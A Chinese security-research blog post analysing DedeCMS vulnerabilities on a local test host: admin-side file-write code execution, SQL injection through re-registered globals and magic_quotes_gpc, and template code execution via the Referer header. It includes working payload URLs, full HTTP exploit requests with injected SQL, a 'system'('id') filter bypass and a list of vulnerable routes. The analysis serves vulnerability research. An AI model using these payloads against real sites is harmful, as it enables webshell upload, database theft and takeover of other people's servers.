DeDeCMS漏洞分析

date
Dec 9, 2021
slug
dedecms-cve-analyse
status
Published
tags
安全研究
PHP安全
Jekyll
summary
最近看到这个cms又爆出漏洞,抓紧分析一下
type
Post
1.首先需要了解一个点,就是这个CMS 使用的是全局覆盖去注册变量的,都会经过include/common.inc.php 这个文件进行处理,这个文件处理了是否符合php版本,还有一些安全过滤,更重要的是全局的变量注册也是在这个文件里面,这里面所有进来的变量都会经过addslashes的处理,也就是存在引号的内容确实会被转义的,可以调试一下就能发现他的流程,用了递归实现
notion image
在admin的后台目录里面,是通过包含config.php文件进行鉴权的操作,没有管理员的权限就会直接exit掉
notion image
2.数据库语句里面的#@__myad ,这里的 #@ 在执行数据库详细语句的时候会转换成dede
notion image
3.整个CMS使用的include/dedesqli.class.php中的CheckSql检查SQL语句
这个CMS很久之前的版本了,之前还是爆出很多后台的漏洞的

历史漏洞

1.后台tpl.php代码执行
tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell
payload 如下:
/dede/tpl.php?action=savetagfile&filename=mochazz.lib.php&content=<?php phpinfo();?>&token=[你的token值]
观察action是savetagfile的时候存在什么操作,这里有一个文件写的操作,但是前提还得绕过一下csrf的检测,而且filename和content参数都是可控的点,尽管中间进行了一些过滤的操作stripslashes 函数的处理,只是删除删除由 addslashes() 函数添加的反斜杠,filename必须满足xxx.lib.php的格式
notion image
查看csrf_check这个函数,会根据你提供token与session进行检测,在哪个地方可以获取这个$_SESSION['token']呢,可以搜索功能页面或者全局搜索$_SESSION['token'] ,可以在input标签里面查找到这个值
notion image
notion image
只需要在tpl.php这个页面触发upload操作即可
test.top:8880/dede57/dede/tpl.php?action=upload
notion image
接着就是构造filename和content了,成功写入
http://test.top:8880/dede57/dede/tpl.php?action=savetagfile&filename=4me.lib.php&content=<?php phpinfo();?>&token=667cf8f9020f184bd9483d4b97ed3038
notion image
 
2.plus/ad_js.php代码执行
这个页面存在写文件的高危操作,尽管文件名后缀是固定的,但是这里的最后还有一个文件包含的触发点,只要我们可以写入PHP的代码内容即可
notion image
观察到内容变量是从$adbody 是从数据库里面提取出来的,通过$row = $dsql->GetOne("SELECT * FROM #@__myad WHERE aid='$aid' "); 这个语句获取出来的内容,那么现在就需要寻找一下这个表哪里存在插入的语句,在后台的/ad_add.php:81存在这样的更新SQL语句,所以说这个点还是需要后台的管理员权限操作
notion image
访问一下这个页面,抓个包,这里面,包含了我们的恶意代码,里面tagname对应的就是aid参数
notion image
插入之后的内容都在这里显示,如果是插入单引号的内容会转义,最好还是不要带上单引号
notion image
尝试触发一下漏洞,设置一下$nocache和$aid变量,这里对应的aid为2
test.top:8880/dede57/plus/ad_js.php?nocache=1&aid=2
此时已经写进去了
notion image
包含调用的话还需要输出闭合HTML注释的内容,不然会输出在注释里,不会在页面展示出来
notion image
修改一下就好
notion image
 
3.winapi查找后台目录
利用场景:
1、win系统下搭建的网站
2、网站后台目录存在/images/中的一个图片
基础知识
windows环境下查找文件基于Windows FindFirstFile的winapi函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。
实际测试中用“<”或者“<<”都可以读到文件名很长的文件,而作者说“<”只能代表一个字符。
主要涉及的文件:common.inc.php
在涉及到文件上传的参数的时候,会进入到这个文件处理uploadsafe.inc.php
notion image
关注这个文件内容,里面设置了一些不允许上传的文件后缀名,主要关注的点在getimagesize函数,只要有具体的文件内容就可以从里面获取信息,通过回显Upload filetype not allow ! 来判断
notion image
首先来试一下这个windows特性,一个或者两个< 都是可以触发文件包含的
准备 test.php和 c4ca4238a0b923820dcc509a6f75849b.php
<?php 

$name = $_GET['a'];
include $name;
<?php phpinfo();?>
notion image
但是当单独测试一下getimagesize这个函数,当存在的图片,与不存在的图片是什么反应,发现这个trick好像已经用不了了,只有完整路径才可行了
notion image
 

新的漏洞

这个版本的还是使用include/common.inc.php进行全局变量的注册处理
这个作者从source就分析得很仔细,从全局变量注册开始,就注意到这里面全局变量还有$_FILE和$_SERVER的全局变量并没有被过滤掉,所以还能从这两个全局变量入手
notion image
所以这个点会导致一些跳转漏洞和一些反序列化的漏洞,作者认为include/uploadsafe.inc.php 中处理文件上传内容的地方是存在反序列化风险的(具体就是getimagesize和filesize这两函数),但是找不到gadgets,但是还是可以构造一个DDOS漏洞的,可以参考这一篇文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485159&idx=1&sn=50b2e94d2d6fc5f69c540113ae9b3f1c&chksm=e89e2e3fdfe9a729869444aa593e97b52970add524b219553f646e8af2aec06e25e8678e7dde&mpshare=1&scene=23&srcid=0822QPN3ZXccNvKuWTQoahLi#rd
notion image
直接是通过FILES全局变量赋值,上传总是需要设置4个属性,这是上传检测的这份代码写死了的
$keyarr = array('name', 'type', 'tmp_name', 'size');
只要tmp_name属性是一个phar协议的内容,就可以触发反序列化了,这并没有太大危害,作者利用这个点构造新的变量,先是通过include/common.inc.php的GET方式处理生成$_FILES全局变量→include/uploadsafe.inc.php 对FILES方式的处理生成对应的具体变量
而且利用表单提交的话还可以将绕过这里进入转义的那个过程,因为此时POST变量为空
notion image
notion image
先是寻找了SQL注入的利用点
作者以dede/sys_payment.php的页面为例子,想构造pay_name的注入参数,这里巧就巧在这个变量刚好是下划线拼接的name,刚好在这个页面找到对应的这样格式的参数拼接SQL语句,绝了
调试的时候发现已经闭合SQL语句了,但是结果却不能执行
notion image
这不能执行的原因在于底层做了防护,大多执行语句的函数在include/dedesqli.class.php 中,其中SetQuery函数会针对SQL语句进行检查,所以这个点的注入不太好使,而且没有报错信息的返回,报错注入也不太管用了
notion image
然后作者寻找那些地方使用上了这个CheckSql函数,发现这个页面下存在两个,一个SetQuery一个Execute
notion image
再寻找没有使用这两个函数的封装函数,作者找到一个显而易见的点,直接调用SQL语句的mysqli_query函数
notion image
在dede/sys_data_done.php调用了这个函数,但是此时的sink并没有像pay_name格式这么刚刚好,所以这里会经过_RunMagicQuotes这个函数,如果需要引号的内容的话,利用起来还是有点复杂的,但是没有引号的还是可以触发的,但是这个点仍然需要后台权限的校验
GET /dede581/dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)--+& HTTP/1.1
Host: test.top:8880
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b06759fe80ffe732bb2673f952528fe5; DedeUserID=1; DedeUserID__ckMd5=5b5668983ebc6ea8; DedeLoginTime=1633439876; DedeLoginTime__ckMd5=c5f24efc956c9acb; _csrf_name_5eddc9fb=1421828a04034ee5508ff8b62aa55c8e; _csrf_name_5eddc9fb__ckMd5=2db0863d8f9ae8d7
Connection: close
notion image
 
 
 
作者又在include/filter.inc.php这个文件里面找到有趣的东西,就是$magic_quotes_gpc这个变量,这个变量是从配置文件里面读取的,但是这个配置选项早在PHP5.4就被移除了,ini_get获取不到的配置选项的值会返回false
notion image
这个地方再一次重新注册全局变量,服了,导致了问题的发生,一开始将$magic_quotes_gpc,设置为1,此时后面重新注册全局变量,导致后面的内容完全就不需要经过转义了,牛逼
notion image
所以到这里的关键点就是找调用了这个文件的地方,作者找到/plus/bookfeedback.php 无需注册即可使用的点,存在两个可控变量一个catid一个是bookname,发表评论写入内容
notion image
POST /dede57/plus/bookfeedback.php?fid=123 HTTP/1.1
Host: test.top:8880
Content-Length: 178
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.top:8880
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.top:8880/dede57/plus/bookfeedback.php?action=send&fid=1337?action=send&fid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b06759fe80ffe732bb2673f952528fe5; _csrf_name_9461b8a7=67db522c6c5571ed6aba7b9260384952; _csrf_name_9461b8a7__ckMd5=f6c888f6acfb188e
Connection: close

action=send&aid=0&isconfirm=yes&face=6&feedbacktype=feedback&msg=test&username=&pwd=&validate=CSTD&magic_quotes_gpc=1&catid=1',version(),concat('&bookname=')||'s&comtype=comments
本质上触发的也是SQL注入罢了
后续作者关注了DEDECMS的模板,这个模板以前也爆出过漏洞:
主要触发的点在于DedeTagParse类中的Display()方法→GetResult→AssignSysTag→RunPHP ,最终达到执行代码的效果
作者借鉴这个思路(还是不大一样的),找了一个ShowMsg函数,这个函数在最后回用到\DedeTemplate::Display方法,这里面的$gourl参数可以通过$_SERVER['HTTP_REFERER']获取,然后LoadString将输入的内容赋值给当前的类变量$this->sourceString ,然后进入Display方法(本质上的调用是在这里的include文件包含),最后会进入到WriteCache,写上缓存文件,其中的WriteCache里面的result是我们写入的HTML内容
notion image
在这个写入缓存文件的过程中还会有一个危险函数的检测CheckDisabledFunctions,但是可以轻易绕过,原作者用的是"system"("id") 的形式
notion image
其实不止这一种的绕过方式
作者最后围绕ShowMsg函数找了一下路由:
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
...
直接删掉加载模板的这一块东西
notion image
这个漏洞主要还是在pre版本里面出现
 
 

危险点:

1.$_FILES(直接form表单提交形式的话)和 $_SERVER并没有经过转义的过滤,全局注册变量的弊端
2.magic_quotes_gpc在filter.inc.php中的问题(PHP5.4以后不再使用该选项),如果调用了这个文件,会重新进行一次赋值的操作,容易导致SQL注入的产生,只要执行语句中不再重复使用select语句的话可能会触发SQL注入
3.模板处理的危险点
4.后续可已关注的挖掘点:include/dedetag.class.php 文件里的处理函数,比如SetTemplet第二个参数是string类型的,或者是调用了Display函数的

© 4me 2021 - 2024